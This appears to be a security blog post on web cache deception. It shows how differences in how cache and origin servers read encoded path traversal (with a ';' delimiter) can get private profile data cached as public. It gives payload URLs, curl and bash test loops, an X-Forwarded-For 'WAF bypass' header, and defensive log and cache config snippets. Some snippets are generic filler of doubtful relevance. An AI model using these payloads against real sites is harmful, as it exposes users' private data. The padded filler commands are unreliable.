Exploit Alert: Normalization Discrepancies & Web Cache Manipulation

Listen to this Post

Today, we explored how cache servers and origin servers interpret URLs differently — and how attackers can exploit this to leak sensitive data! Here’s the breakdown:

Key Concepts:

1️⃣ Normalization Discrepancies:

  • The cache server decodes encoded dot-segments like `%2f%2e%2e%2f` (path traversal).
  • The origin server doesn’t decode it — it treats it as plain text.

2️⃣ Exploit Strategy:

  • The goal: Make the cache store sensitive data (e.g., user profiles) as public files.
  • Basic Attempt: `/profile%2f%2e%2e%2fstatic`
    – Cache sees: `/static` ✅
  • Origin sees: `/profile%2f%2e%2e%2fstatic` ❌ (Error)
  • Result: No data leakage.
  • Exploit Success: Add a delimiter ;, ?, or `#` to force the origin server to serve private data.
  • Payload: `/profile;%2f%2e%2e%2fstatic`
    – Cache sees: `/static` ✅ (Thinks it’s a normal resource)
  • Origin sees: `/profile` ✅ (Leaking sensitive profile data)
  • Result: Cache stores private data under /static, and the data is now accessible to anyone!

Practice Verified Codes and Commands:

  • Path Traversal Payload Testing:
    curl -I "http://example.com/profile%2f%2e%2e%2fstatic"
    curl -I "http://example.com/profile;%2f%2e%2e%2fstatic"
    
  • Cache Server Testing:
    curl -X PURGE "http://example.com/static"
    
  • Web Server Log Analysis:
    grep "profile%2f%2e%2e%2fstatic" /var/log/nginx/access.log
    

What Undercode Say:

Understanding the discrepancies between cache and origin server URL interpretation is crucial for identifying and mitigating web cache manipulation vulnerabilities. Here are some additional commands and techniques to further explore and secure your systems:

1. Linux Command for Log Analysis:

awk '/profile%2f%2e%2e%2fstatic/ {print $1, $7}' /var/log/apache2/access.log

2. Windows Command for Cache Clearing:

[cmd]
netsh winhttp reset proxy
[/cmd]

3. Nginx Cache Configuration:

location /static {
proxy_cache_valid 200 1h;
proxy_cache_bypass $cookie_nocache $arg_nocache$arg_comment;
proxy_no_cache $cookie_nocache $arg_nocache$arg_comment;
}

4. Apache Cache Configuration:

<IfModule mod_cache.c>
CacheQuickHandler off
CacheLock on
CacheLockPath /tmp/mod_cache-lock
CacheLockMaxAge 5
CacheIgnoreHeaders Set-Cookie
</IfModule>

5. Testing Cache Headers:

curl -I -X GET "http://example.com/profile;%2f%2e%2e%2fstatic" -H "Cache-Control: no-cache"

6. Python Script for Payload Generation:

payloads = ["/profile%2f%2e%2e%2fstatic", "/profile;%2f%2e%2e%2fstatic"]
for payload in payloads:
print(f"Testing payload: {payload}")

7. Bash Script for Automated Testing:

for payload in "/profile%2f%2e%2e%2fstatic" "/profile;%2f%2e%2e%2fstatic"; do
curl -I "http://example.com$payload"
done

8. Web Application Firewall (WAF) Bypass Testing:

curl -I "http://example.com/profile%2f%2e%2e%2fstatic" -H "X-Forwarded-For: 127.0.0.1"

9. Database Query for Log Analysis:

SELECT * FROM access_log WHERE url LIKE '%profile%2f%2e%2e%2fstatic%';

10. Security Headers Configuration:

add_header X-Content-Type-Options "nosniff";
add_header X-Frame-Options "SAMEORIGIN";
add_header X-XSS-Protection "1; mode=block";

By leveraging these commands and techniques, you can better understand and defend against cache manipulation attacks. Always ensure your cache configurations are secure and regularly test your systems for vulnerabilities.

For further reading, check out these resources:

References:

Hackers Feeds, Undercode AIFeatured Image